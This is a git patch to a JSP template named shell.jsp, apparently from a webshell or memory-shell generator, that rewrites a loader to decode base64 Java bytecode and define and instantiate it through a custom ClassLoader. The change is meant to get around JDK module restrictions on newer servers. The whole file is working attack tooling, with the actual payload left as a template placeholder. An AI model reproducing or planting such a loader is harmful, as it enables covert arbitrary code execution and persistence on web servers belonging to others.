From 13ddea499a791f9f73424efc65008436eeba23d0 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 14 Dec 2024 16:56:53 +0800 Subject: [PATCH] fix: jsp execute fail in module system --- generator/src/main/resources/shell.jsp | 75 ++++++++++++++------------ 1 file changed, 42 insertions(+), 33 deletions(-) diff --git a/generator/src/main/resources/shell.jsp b/generator/src/main/resources/shell.jsp index c097d4b3..b8bc9b08 100644 --- a/generator/src/main/resources/shell.jsp +++ b/generator/src/main/resources/shell.jsp @@ -1,42 +1,51 @@ -<%@ page import="java.lang.Class" %> -<%@ page import="java.lang.ClassLoader" %> -<%@ page import="java.lang.Exception" %> -<%@ page import="java.lang.Object" %> -<%@ page import="java.lang.String" %> -<%@ page import="java.lang.Thread" %> <%! - public byte[] decodeBase64(String bytecodeBase64) { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - try { - Class base64Clz = classLoader.loadClass("java.util.Base64"); - Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); - Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); - return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64); - } catch (Exception ee) { + public static class ClassDefiner extends ClassLoader { + public ClassDefiner() { + super(Thread.currentThread().getContextClassLoader()); + } + + public byte[] decodeBase64(String bytecodeBase64) { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); try { - Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); - return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64); - } catch (Exception e) { - return null; + Class base64Clz = classLoader.loadClass("java.util.Base64"); + Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); + Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); + return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64); + } catch (Exception ee) { + try { + Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); + return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64); + } catch (Exception e) { + return null; + } } } + + public Class defineClass(byte[] code) { + return defineClass(null, code, 0, code.length); + } + + @Override + public String toString() { + String className = "{{className}}"; + String base64Str = "{{base64Str}}"; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try { + classLoader.loadClass(className).newInstance(); + } catch (Exception e) { + try { + byte[] bytecode = decodeBase64(base64Str); + // 不弄反射啦,以免高版本这儿报 module 限制 + Class clazz = defineClass(bytecode); + clazz.newInstance(); + } catch (Exception ignored) { + } + } + return className; + } } %> <% - String className = "{{className}}"; - String base64Str = "{{base64Str}}"; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - try { - classLoader.loadClass(className).newInstance(); - } catch (Exception e) { - try { - java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - byte[] bytecode = decodeBase64(base64Str); - Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length); - clazz.newInstance(); - } catch (Exception ignored) { - } - } + new ClassDefiner().toString(); %> \ No newline at end of file